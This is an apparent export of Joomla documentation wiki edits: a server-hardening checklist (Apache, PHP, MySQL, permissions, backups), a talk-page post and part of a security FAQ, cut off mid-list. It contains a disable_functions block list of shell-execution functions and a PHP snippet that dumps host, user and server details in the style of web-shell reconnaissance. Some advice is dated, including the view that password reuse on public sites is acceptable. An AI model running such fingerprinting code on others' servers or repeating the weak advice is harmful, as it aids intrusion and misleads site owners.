===Shared server risks===&lt;br /&gt;
: If you are on a tight budget and your site does not process highly confidential data, you can probably get by with a shared server, but you must understand the unavoidable risks. Most of the tips listed below are appropriate for securing sites on shared server environments.&lt;br /&gt;
&lt;br /&gt;
===Avoid sloppy server configurations===&lt;br /&gt;
: For a real eye-opener, [http://www.nexen.net/articles/dossier/php_configuration_statitstics.php read this report] on thousands of sites that allowed Google to index the results of phpinfo(). Don&#039;t make this mistake on your site! The report includes alarming statistics on the percentage of sites that use deprecated settings such as register_globals ON or that don&#039;t have open_basedir set at all: By the way, if &#039;&#039;phpini&#039;&#039; and &#039;&#039;register_globals&#039;&#039; are unfamiliar terms you are probably not ready to securely manage your own site.&lt;br /&gt;
&lt;br /&gt;
==Configuring Apache==&lt;br /&gt;
&lt;br /&gt;
===Use Apache .htaccess===&lt;br /&gt;
&#039;&#039;See also [[htaccess examples (security)|.htaccess examples]]&#039;&#039;&lt;br /&gt;
: Block typical exploit attempts with local Apache &#039;&#039;.htaccess&#039;&#039; files. This option is not enabled on all servers. Check with your host if you run into problems. Using &#039;&#039;.htaccess&#039;&#039;, you can password protect sensitive directories, such as administrator, restrict access to sensitive directories by IP Address, and depending on your server&#039;s configuration, you may be able to increase security by switching from PHP4 to PHP5.&lt;br /&gt;
&lt;br /&gt;
: Joomla ships with a [[preconfigured .htaccess]] file, but *you* need to choose to use it. The file is called htaccess.txt. To use it, rename it to .htaccess and place it in the root of your site using FTP. One important point to note is that as the distributed file is called htaccess.txt and the live file on your site is called .htaccess, the file your site actually uses is NOT updated when you update your site to use to a new version of Joomla. You must manually make the changes to use the new file version. There are significant changes in the file distributed with 1.5.23 onwards and 1.6.2 onwards.&lt;br /&gt;
&lt;br /&gt;
: Consider following the &amp;quot;Least Privilege&amp;quot; principle for running PHP using tools such as PHPsuExec, php_suexec or suPHP. (Note: These are advanced methods that require agreement and coordination with your hosting provider. Such options are enabled or disabled on a server-wide basis and are not individually adjustable on shared servers.) &amp;lt;/li&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Use Apache mod_security===&lt;br /&gt;
: Configure Apache mod_security and mod_rewrite filters to block PHP attacks. See [http://www.google.com/search?q=apache%20mod_security Google search for mod_security] and [http://www.google.com/search?q=apache%20mod_rewrite Google search for mod_rewrite]. (Note: These are advanced methods that usually require agreement and coordination with your hosting provider. Such options are enabled or disabled on a server-wide basis and are not individually adjustable on shared servers.)&lt;br /&gt;
&lt;br /&gt;
==Configuring MySQL== &lt;br /&gt;
&lt;br /&gt;
===Secure the database===&lt;br /&gt;
: Be sure MySQL accounts are set with limited access. The initial install of MySQL is insecure and careful configuration is required. (See the [http://dev.mysql.com/doc/ MySQL Manuals]) Note: This item applies only to those administering their own servers, such as dedicated servers. Users of shared servers are dependent on their hosting provider to set proper database security.)&lt;br /&gt;
&lt;br /&gt;
== Configuring PHP==&lt;br /&gt;
&lt;br /&gt;
===Understand how PHP works===&lt;br /&gt;
: Understand how to work with the php.ini file, and how PHP configurations are controlled. Study the [http://us3.php.net/manual/en/ini.php#ini.list Official List of php.ini Directives] at http://www.php.net, and the well-documented default php.ini file included with every PHP install. Here is the [http://svn.php.net/viewvc/php/php-src/trunk/php.ini-production?view=co latest default php.ini file] on the official PHP site.&lt;br /&gt;
&lt;br /&gt;
===Use PHP5===&lt;br /&gt;
PHP 4 is deprecated and has become obsolete. Some hosting providers still have both available on servers to support outdated scripts. Joomla requires PHP5. (See [http://www.joomla.org/technical-requirements.html/ Joomla Requirements])&lt;br /&gt;
&lt;br /&gt;
===Use local php.ini files===&lt;br /&gt;
: On shared servers you can&#039;t edit the main php.ini file, but you may be able to add custom, local php.ini files. If so, you&#039;ll need to copy the php.ini files to every sub-directory that requires custom settings. Luckily a [http://tips-scripts.com/free set of scripts at B &amp;amp; T Scripts and Tips] can do the hard work for you.&lt;br /&gt;
&lt;br /&gt;
: &#039;&#039;&#039;There are a few important things to keep in mind.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Local &#039;&#039;php.ini&#039;&#039; files &#039;&#039;&#039;&#039;&#039;only&#039;&#039;&#039;&#039;&#039; have an effect if your server is configured to use them. This includes a &#039;&#039;php.ini&#039;&#039; file in your &#039;&#039;http_root&#039;&#039; directory. You can test whether or not these file affect your site by setting an obvious directive in the local &#039;&#039;php.ini&#039;&#039; file to see if it affects your site.&lt;br /&gt;
# Local &#039;&#039;php.ini&#039;&#039; files only affect &#039;&#039;.php&#039;&#039; files that are located within the same directory (or included() or required() from those files). This means that there are normally only two Joomla! directories in which you would want to place a &#039;&#039;php.ini&#039;&#039; file. They are your &#039;&#039;http_root&#039;&#039;(your actual directory name may vary), which is where Joomla&#039;s Front-end &#039;&#039;index.php&#039;&#039; file is located, and the Joomla! &#039;&#039;administrator&#039;&#039; directory, which is where the Back-end administrator &#039;&#039;index.php&#039;&#039; file is located. Other directories that don&#039;t have files called via the Web do not need local &#039;&#039;php.ini&#039;&#039; files.&lt;br /&gt;
# If you have a &#039;&#039;php.ini&#039;&#039; file in every directory, some script probably did this for you. If you didn&#039;t intend it to happen, you probably should root them out, but given #2 above, you probably only have to panic about the &#039;&#039;php.ini&#039;&#039; files in &#039;&#039;http_root&#039;&#039; and the &#039;&#039;administrator&#039;&#039; directories.&lt;br /&gt;
&lt;br /&gt;
===Use PHP disable_functions===&lt;br /&gt;
: Use &#039;&#039;disable_functions&#039;&#039; to disable dangerous PHP functions that are not needed by your site. Here is a typical setup for a Joomla! site:&lt;br /&gt;
&lt;br /&gt;
      disable_functions = show_source, system, shell_exec, passthru, exec, phpinfo, popen, proc_open&lt;br /&gt;
&lt;br /&gt;
===Consider Using PHP open_basedir===&lt;br /&gt;
: You &#039;&#039;might&#039;&#039; consider to enabled &#039;&#039;open_basedir&#039;&#039;.  This directive limits the files that can be opened by PHP to the specified directory-tree. This directive is NOT affected by whether Safe Mode is ON or OFF. &lt;br /&gt;
&lt;br /&gt;
: The restriction specified with open_basedir is a prefix, not a directory name. This means that &#039;&#039;open_basedir = /dir/incl&#039;&#039; allows access to &#039;&#039;/dir/include&#039;&#039; and &#039;&#039;/dir/incls&#039;&#039; if they exist. To restrict access to only the specified directory, end with a slash. For more information, see [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode PHP Security and Safe Mode Configuration Directives].&lt;br /&gt;
&lt;br /&gt;
     open_basedir = /home/users/you/public_html&lt;br /&gt;
&lt;br /&gt;
: Additionally, if &#039;&#039;open_basedir&#039;&#039; is set it may be necessary to set PHP &#039;&#039;upload_tmp_dir&#039;&#039; configuration directive to a path that falls within the scope of &#039;&#039;open_basedir&#039;&#039; or, alternatively, add the &#039;&#039;upload_tmp_dir&#039;&#039; path to &#039;&#039;open_basedir&#039;&#039; using the appropriate path separator for the host system.&lt;br /&gt;
&lt;br /&gt;
     open_basedir = /home/users/you/public_html:/tmp&lt;br /&gt;
&lt;br /&gt;
: PHP will use the system&#039;s temporary directory when &#039;&#039;upload_tmp_dir&#039;&#039; is not set or when it is set but the directory does not exist, therefore it may be necessary to add it to &#039;&#039;open_basedir&#039;&#039; as above to avoid uploading errors within Joomla.&lt;br /&gt;
&lt;br /&gt;
===Adjust magic_quotes_gpc===&lt;br /&gt;
: Adjust the &#039;&#039;magic_quotes_gpc&#039;&#039; directive as needed for your site. The recommended setting for Joomla! 1.0.x is ON to protect against poorly-written third-party extensions. The safest method is to turn &#039;&#039;magic_quotes_gpc&#039;&#039; off and avoid all poorly-written extensions, period. &lt;br /&gt;
&lt;br /&gt;
: Joomla! 1.5 ignores this setting and works fine either way. &lt;br /&gt;
For more information, see either [http://docs.joomla.org/Magic_quotes_and_security Magic quotes and security] or &lt;br /&gt;
[http://php.net/magic_quotes PHP Manual, Chapter 31. Magic Quotes].&lt;br /&gt;
&lt;br /&gt;
      magic_quotes_gpc = 1&lt;br /&gt;
&lt;br /&gt;
===Don&#039;t use PHP safe_mode===&lt;br /&gt;
: This feature has been DEPRECATED as of PHP 5.3.0. Relying on this feature is highly discouraged. Avoid the use of PHP safe_mode. This is a valid but incomplete solution to a deeper problem and provides a false sense of security. See the official PHP site for an explanation of this issue. http://php.net/manual/en/features.safe-mode.php&lt;br /&gt;
&lt;br /&gt;
      safe_mode = 0&lt;br /&gt;
&lt;br /&gt;
===Don&#039;t use PHP register_globals===&lt;br /&gt;
: Automatically registering global variables was probably one of the dumbest decisions the developers of PHP made. This directive determines whether or not to register the EGPCS (Environment, GET, POST, Cookie, Server) variables as global variables where they become immediately available to all PHP scripts, and where they can easily overwrite your own variable if you&#039;re not careful. Luckily, the PHP developers long since realized the mistake and have deprecated this &#039;feature&#039;. &lt;br /&gt;
&lt;br /&gt;
: If your site is on a shared server with a hosting provider that insists &#039;&#039;register_globals&#039;&#039; must be on, you should be very worried. Although you can often turn register_globals off for your own site with a local php.ini file, this adds little security as other sites on the same server remain vulnerable to attacks which can then launch attacks against your site from within the server. For more information, see [http://www.zend.com/manual/security.globals.php ZEND Chapter 29. Using Register Globals].&lt;br /&gt;
&lt;br /&gt;
      register_globals = 0&lt;br /&gt;
&lt;br /&gt;
===Don&#039;t use PHP allow_url_fopen===&lt;br /&gt;
&lt;br /&gt;
: Don&#039;t use PHP &#039;&#039;allow_url_fopen&#039;&#039;. This option enables the URL-aware fopen wrappers that enable accessing URL object like files. Default wrappers are provided for the access of remote files using the ftp or http protocol, some extensions like zlib may register additional wrappers. Note: This can only be set in php.ini due to security reasons.&lt;br /&gt;
&lt;br /&gt;
      allow_url_fopen = 0&lt;br /&gt;
&lt;br /&gt;
==File permissions==&lt;br /&gt;
If a joomla installation is hosted on apache with mod_php, then all virtual hosts on that server run in the same context as your joomla code.  If the files are owned by some other user than &#039;nobody&#039; or &#039;wwwrun&#039;, the safest permissions are those which &#039;&#039;&#039;prevent&#039;&#039;&#039; changes to the joomla code, unless via an authorised channel (e.g. FTP):&lt;br /&gt;
*DocumentRoot directory: 750 (e.g. public_html)&lt;br /&gt;
*Files: 644&lt;br /&gt;
*Directories: 755 (711 if you are paranoid, but not for directories which need to be listed) (owner: some user)&lt;br /&gt;
&lt;br /&gt;
With these permissions set, you will need to use FTP to update your Joomla installation.  Not all modules support this.  Remove modules which do not support FTP upgrades.&lt;br /&gt;
Other processes running under mod_php can read &#039;&#039;&#039;your&#039;&#039;&#039; configuration.php.  You can frustrate automated hacks by renaming this file.  You should not store your FTP password in your configuration file on such hosts, as your account &#039;&#039;will&#039;&#039; be compromised.&lt;br /&gt;
&lt;br /&gt;
If a joomla installation is hosted on apache with fast-cgi, suphp or cgi that runs as a different user, then you should set your permissions as follows:&lt;br /&gt;
* DocumentRoot directory: 750 (e.g. public_html)&lt;br /&gt;
* PHP files: 600 (400 if you are truly paranoid)&lt;br /&gt;
* HTML and image files: 644 (444 if you are truly paranoid)&lt;br /&gt;
* Directories: 755 (711 if you are paranoid, but not for directories which need to be listed)&lt;br /&gt;
&lt;br /&gt;
==Setup a backup and recovery process==&lt;br /&gt;
===The most important rule:&#039;===&lt;br /&gt;
: Thou shalt at all time be able to return your site to a previous working state through regular use of a strong, off-site backup and recovery process. Be sure your backup and recovery process is in place and tested BEFORE you go live. This is the single best way (and often the only way) to recover from such inevitable catastrophes as:&lt;br /&gt;
&lt;br /&gt;
# A compromised/cracked site.&lt;br /&gt;
# Broken site due to a faulty upgrade.&lt;br /&gt;
# Hardware failure, such as dead hard drives, power failures, server theft, etc.&lt;br /&gt;
# Authoritarian government intervention. (More common than some think.)&lt;br /&gt;
# Needing to quickly relocate to a new server or hosting provider.&lt;br /&gt;
&lt;br /&gt;
== Choose A Checklist==&lt;br /&gt;
# [[Security Checklist 1 - Getting Started|Getting Started]] &lt;br /&gt;
# [[Security Checklist 2 - Hosting and Server Setup|Hosting and Server Setup]]&lt;br /&gt;
# [[Security Checklist 3 - Testing and Development|Testing and Development]]&lt;br /&gt;
# [[Security Checklist 4 - Joomla Setup|Joomla Setup]]&lt;br /&gt;
# [[Security Checklist 5 - Site Administration|Site Administration]]&lt;br /&gt;
# [[Security Checklist 6 - Site Recovery|Site Recovery]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- KEEP THIS AT THE END OF THE PAGE --&amp;gt;&lt;br /&gt;
[[Category:Security Checklist]]&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Talk:Security_and_Performance_FAQs&amp;diff=62372</id>
		<title>Talk:Security and Performance FAQs</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Talk:Security_and_Performance_FAQs&amp;diff=62372"/>
		<updated>2011-09-26T23:03:15Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: not sure if this is meant to be a patch?&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
==I&amp;quot;m not sure the proper way to post this==&lt;br /&gt;
I&amp;quot;m not sure the proper way to post this....&lt;br /&gt;
&amp;lt;?&lt;br /&gt;
echo &amp;quot;Hostname: &amp;quot;. @php_uname(n) .&amp;quot;&amp;quot;.&amp;quot;&amp;lt;br /&amp;gt;&amp;quot;;&lt;br /&gt;
if (function_exists( &#039;shell_exec&#039; )) { echo &amp;quot;Hostname: &amp;quot;.&lt;br /&gt;
@gethostbyname(trim(`hostname`)).&amp;quot;&amp;lt;br /&amp;gt;&amp;quot;; } else { echo &amp;quot;Server IP: &amp;quot;.&lt;br /&gt;
$_SERVER[&#039;SERVER_ADDR&#039;] .&amp;quot;&amp;quot;.&amp;quot;&amp;lt;br /&amp;gt;&amp;quot;; }&lt;br /&gt;
echo &amp;quot;Platform: &amp;quot;. @php_uname(s) .&amp;quot; &amp;quot;. @php_uname(r) .&amp;quot; &amp;quot;. @php_uname(v) .&amp;quot;&amp;quot;.&amp;quot;&amp;lt;br /&amp;gt;&amp;quot;;&lt;br /&gt;
echo &amp;quot;Architecture: &amp;quot;. @php_uname(m) .&amp;quot;&amp;quot;.&amp;quot;&amp;lt;br /&amp;gt;&amp;quot;;&lt;br /&gt;
echo &amp;quot;Username: &amp;quot;. get_current_user () .&amp;quot; ( UiD: &amp;quot;. getmyuid() .&amp;quot;, GiD: &amp;quot;. getmygid() .&amp;quot; )&amp;quot;.&amp;quot;&amp;lt;br /&amp;gt;&amp;quot;;&lt;br /&gt;
echo &amp;quot;Curent Path: &amp;quot;. getcwd () .&amp;quot;&amp;quot;.&amp;quot;&amp;lt;br /&amp;gt;&amp;quot;;&lt;br /&gt;
echo &amp;quot;Server Type: &amp;quot;. $_SERVER[&#039;SERVER_SOFTWARE&#039;] . &amp;quot;&amp;quot;.&amp;quot;&amp;lt;br /&amp;gt;&amp;quot;;&lt;br /&gt;
echo &amp;quot;Server Admin: &amp;quot;. $_SERVER[&#039;SERVER_ADMIN&#039;] . &amp;quot;&amp;quot;.&amp;quot;&amp;lt;br /&amp;gt;&amp;quot;;&lt;br /&gt;
echo &amp;quot;Server Signature: &amp;quot;. $_SERVER[&#039;SERVER_SIGNATURE&#039;] .&amp;quot;&amp;quot;.&amp;quot;&amp;lt;br /&amp;gt;&amp;quot;;&lt;br /&gt;
echo &amp;quot;Server Protocol: &amp;quot;. $_SERVER[&#039;SERVER_PROTOCOL&#039;] .&amp;quot;&amp;quot;.&amp;quot;&amp;lt;br /&amp;gt;&amp;quot;;&lt;br /&gt;
echo &amp;quot;Server Mode: &amp;quot;. $_SERVER[&#039;GATEWAY_INTERFACE&#039;] .&amp;quot;&amp;quot;.&amp;quot;&amp;lt;br /&amp;gt;&amp;quot;;&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
adding the &amp;lt;br /&amp;gt; at the end of each line cleans up the output greatly&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Security_and_Performance_FAQs&amp;diff=62371</id>
		<title>Security and Performance FAQs</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Security_and_Performance_FAQs&amp;diff=62371"/>
		<updated>2011-09-26T23:01:32Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: /* What are these strange (URL-Encoded) characters doing in my code? */ (class=&amp;quot;wikitable&amp;quot;)&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{RightTOC}}&lt;br /&gt;
&lt;br /&gt;
= Getting Started =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Is GNU and Open Source software worth the costs and risks?==&lt;br /&gt;
&lt;br /&gt;
It&#039;s difficult, if not impossible, to argue against the value proposition of GNU and Open Source software, although [http://www.catb.org/~esr/halloween/ some have tried]. Due to zero licensing fees, lower administrative overhead, high-quality code, security releases that are distributed in minutes or hours rather than months or marketing cycles, and free online support from thousands of like-minded developers and users, GNU and Open Source offerings are often the best solution. The math is really quite compelling: &lt;br /&gt;
&lt;br /&gt;
{|class=&amp;quot;wikitable&amp;quot; border=&amp;quot;1&amp;quot;&lt;br /&gt;
! &#039;&#039;&#039;Applications&#039;&#039;&#039; !! &#039;&#039;&#039;Industry Leader&#039;&#039;&#039; !! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;Cost&#039;&#039;&#039;&lt;br /&gt;
|-&lt;br /&gt;
| GNU/Linux&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Apache Web Server&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| MySQL Relational Database&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| PHP Scripting Language&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Content Management System&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Thousands of Joomla Extensions&lt;br /&gt;
| Varies&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
! &#039;&#039;&#039;Support&#039;&#039;&#039; !! &#039;&#039;&#039;Relative Quality&#039;&#039;&#039; !! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;Cost&#039;&#039;&#039;&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Project Leadership Team&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Forge&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Online Forums&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Documentation&lt;br /&gt;
| Medium&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Thousands of Online Volunteers&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Paid Professional Support&lt;br /&gt;
| Widely Available&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;Total&#039;&#039;&#039; !! &amp;amp;nbsp; !! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;0&#039;&#039;&#039;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==What is the Joomla! Administrator&#039;s Security Checklist?==&lt;br /&gt;
&lt;br /&gt;
The [[Security Checklist 1 - Getting Started|Security Checklist]] is a concise selection of the best tips and tricks from the many contributors in the Joomla Security Forums. Review this list BEFORE you install Joomla for the first time.&lt;br /&gt;
&lt;br /&gt;
==What are the top 10 stupidest Joomla! security tricks?==&lt;br /&gt;
A very good question, and sadly one that many did not ask in time. We proudly present the [[Top 10 Stupidest Administrator Tricks]].&lt;br /&gt;
&lt;br /&gt;
==How do I choose a quality hosting provider?==&lt;br /&gt;
&lt;br /&gt;
The following is a short list of security-related requirements. Depending on your specific needs, you may have many other security requirements such as shell access, cron access, SSL server, etc.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Choose *NIX:&#039;&#039;&#039; Joomla! requires at least PHP and MySQL to run. Because Apache/PHP/MySQL run best on UNIX or GNU/LINUX servers, choose a host that offers these options. &lt;br /&gt;
* &#039;&#039;&#039;Use Secure FTP:&#039;&#039;&#039; Choose a host that requires SFTP (Secure FTP) for transferring files. This prevents others from snooping your user name and password from packets as they travel over the Internet.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Set PHP register_globals OFF:&#039;&#039;&#039; The most security conscious hosts turn PHP&#039;s Register Globals directive OFF by default. The next best allow you to turn it off in local .htaccess or php.ini files. A host that requires you to run a site with Register Globals ON should be avoided. This is true for any PHP enabled site, whether or not you are running Joomla!. There is a legitimate argument to be made by hosts for keeping Register Globals ON for PHP4 sites. This is that it would break too much legacy code. This argument should not be accepted for a PHP5 installation. Beginning with PHP5, the official PHP recommendation was to keep Register Globals is OFF. Note that beginning with PHP6, there will not even be a Register Globals setting, so don&#039;t get caught in a Register Globals backwater. Modify your code to work without Register Globals, and choose a host that encourages such practices.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Stay up-to-date:&#039;&#039;&#039; Choose a host that stays up-to-date with the latest stable versions of core applications, including the operating system, database, and [http://www.php.net/ PHP].&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Avoid cheap shared servers:&#039;&#039;&#039; Be sure users on your shared server can&#039;t view each others files and databases, for example through shell accounts and cpanels.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Proactive server management:&#039;&#039;&#039; Choose a host that provides real information about security compromises, rather than simply shutting your site down. Check their user forums for evidence of how they&#039;ve responded to cracks in the past. A good host may for example, inform you immediately that a security breach has occurred and will quarantine the problem file for you, while leaving it there for further investigation. A poor host will shut your site down and provide very limited information on why. Watch out! All too many do this.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Require raw log access:&#039;&#039;&#039; Be sure you have access to raw server logs. Reading these logs is a vital part of site security and recovery.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Performance matters:&#039;&#039;&#039; Choose a host that limits the number of users per machine and the average CPU load per machine to some reasonable number (depending on hardware). Be sure they proactively move user sites as needed to balance load. Check the number of domains on a server using reverse IP lookup.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Data center:&#039;&#039;&#039; Choose a host that manages it&#039;s own data center. Check the data center infrastructure, such as redundant Internet access, hot swappable backups, full daily backups, environment and access controls, emergency generators, etc.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Know your neighbors:&#039;&#039;&#039; Check that your host is not at risk of having its IP addresses blocked because it hosts SPAM sites.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Visit the Joomla Resources Directory (JRD) [http://resources.joomla.org/directory/support-services/hosting.html hosting section]:&#039;&#039;&#039;  If you are looking for a Joomla Host, please ensure you make your own investigations as to the services offered and whether they suit your needs or not.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Grow with your site:&#039;&#039;&#039; As sites grow in complexity, resource requirements, and security requirements, they may need to be moved off of a shared server environment. At that point, good options include, 1) &#039;&#039;&#039;dedicated servers&#039;&#039;&#039; offer the best possible security and performance, but at the highest expense, 2) &#039;&#039;&#039;virtual servers&#039;&#039;&#039; offer almost all the advantages of a dedicated server, but the hardware and configuration cost is shared among multiple virtual servers.&lt;br /&gt;
&lt;br /&gt;
==What are the best practices for site backups?==&lt;br /&gt;
&lt;br /&gt;
: There are three traditional backup types--full, cumulative and differential.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Full Backups&#039;&#039;&#039; &lt;br /&gt;
: A complete backup of all associated files and database at a known point in time.&lt;br /&gt;
&lt;br /&gt;
: Both of these are considered Incremental backups, they can be used independently of each other or in conjunction with each other but always relate back to a FULL backup.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Cumulative Backups&#039;&#039;&#039; &lt;br /&gt;
: This is a backup of the differences since the last FULL backup, so each cumulative backup gets bigger each cycle as it is also backing up data previously backup, since the last FULL backup.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Incremental Backups&#039;&#039;&#039; &lt;br /&gt;
: This is a backup of the changes since the previous backup of any type, i.e., full, cumulative, or incremental.&lt;br /&gt;
&lt;br /&gt;
: If you site is not too large, then FULL backups are the way to go, once a week at least. If your content changes quite regularly or more importantly cannot be recreated or is too costly to recreate, once a night or more may be more effective.&lt;br /&gt;
&lt;br /&gt;
: If time, server resources, or the rate of data change is too high to successfully obtain a FULL backup every night then the incremental backups are needed.&lt;br /&gt;
&lt;br /&gt;
: If you choose to use a cumulative backup following a weekly full, the backups each night will run quicker than a full backup, however as the week progresses, each nightly cumulative backup will increase in size and time, due to not only backing up the changes since last night&#039;s backup, but it also backing up all changes each night and previous nights since the last full backup was made. The benefit of this type of backup, in conjunction with full backups is the speed of restoration. To restore, you now only need to recover the most recent full and cumulative backups to fully recover all information.&lt;br /&gt;
&lt;br /&gt;
: If time or server resources are paramount or data change overwhelms cumulative backups, turn to differential backups, this style of backup when used in conjunction with a full backup will provide a very similar level of protection, but restoration will be slower. Differential backups will only backup changed data since the last backup of any type, not since the last full backup, as with a cumulative backup. Thus, when restoring data, you will need to recover the full backup, then each differential backup in turn (oldest first) in order to fully recover all information. This method also has the drawback of recovering any legitimately deleted files, potentially &amp;quot;over-filling&amp;quot; the file-system.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Data Protection Best Practice says&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# You should be able to completely recover from a catastrophic failure from at least two previous full backups. Just in case the most recent full backup is damaged, lost, or corrupt.&lt;br /&gt;
# A good backup regime should contain at least one full backup within a chosen cycle, normally weekly.&lt;br /&gt;
# A good backup practice is to store backups away from the current data location, preferably off site.&lt;br /&gt;
# Dynamic data should be backed up &#039;&#039;offline&#039;&#039; or &#039;&#039;hot&#039;&#039; to avoid &#039;&#039;fuzzy&#039;&#039; backups (data is changing as you back it up, potentially leading to related information not being in sync when backed up.&lt;br /&gt;
&lt;br /&gt;
: For the average Web site, a daily or weekly full backup of both site files and database records is normally more than enough. Keeping a number of backups for a period of time is always a good plan, maybe keep each weekly backup for one month. This allows you to recover an old site in the case of emergencies or if for some reason you have local backup file corruption.&lt;br /&gt;
&lt;br /&gt;
: There are many PHP and Perl scripts on the Web that can be automated through CRONTAB and can either email (if small enough) or FTP the backup files to an off- or cross- server location. Remember that to some degree with Joomla! you already have an instant backup of the core files, if you haven&#039;t modified core, the Joomla! distribution files can be easily restored. Then you need only worry about backing up changed files and the database.&lt;br /&gt;
&lt;br /&gt;
==Where can I learn about vulnerable extensions?==&lt;br /&gt;
* See the [http://docs.joomla.org/Vulnerable_Extensions_List Vulnerable Extensions List]&lt;br /&gt;
&lt;br /&gt;
==Where can I learn more about file permissions?==&lt;br /&gt;
&lt;br /&gt;
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/113-joomla-and-unix-file-permissions-explanation.html Unix Permissions Primer]&lt;br /&gt;
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/112-joomla-and-windows-file-permissions-explanation.html Windows Permissions Primer]&lt;br /&gt;
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/111-permissions-under-phpsuexec.html Using phpSuExec]&lt;br /&gt;
&lt;br /&gt;
==How do I setup a powerful password scheme?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Most users may not need more than 3 levels of passwords and webmasters no more than 5. Each level must be completely unrelated to the others in terms of which ids and passwords are used.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 5 (Public)&#039;&#039;&#039; - is the password you use on public sites. It is not imperative that you use a different password on every site. In fact it&#039;s more effective to use a different username on every site than it is to use a different password truth be told! Knowing the username allows easy hacking...half the work is done! knowing the password is useless unless you know what account it goes to!&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 4 (Webmaster)&#039;&#039;&#039; - Reserved for SQL Only. this is a password that would only be used by SQL and limited to a specific database in SQL. The best way to protect SQL is by limiting each account to just being able to do the minimum that DB requires. In some cases it is even wise to have a read only account for display and a separate write account that the backend write functions use. But that doesn&#039;t apply to J! at all... for J! the best practice is to set up an individual account (not root for sure) that only has read and write access to the J! DB nothing else.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 3 (Webmaster)&#039;&#039;&#039; - FTP and Server Access. these can be the same user:pass combo since both if compromised can do the most damage. doesn&#039;t matter if the backend or Cpanel is safe if the FTP is not and the same goes the other way!&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 2 (Personal Data Access)&#039;&#039;&#039; - This password should be used for any sites or locations that contain personal data with the exception of Banking (see level 1). these sites are often used for social engineering data such as medical records, service accounts and any financial records not directly related to banking! You want these to be secure but also different from the real threat of security...your money!&lt;br /&gt;
&lt;br /&gt;
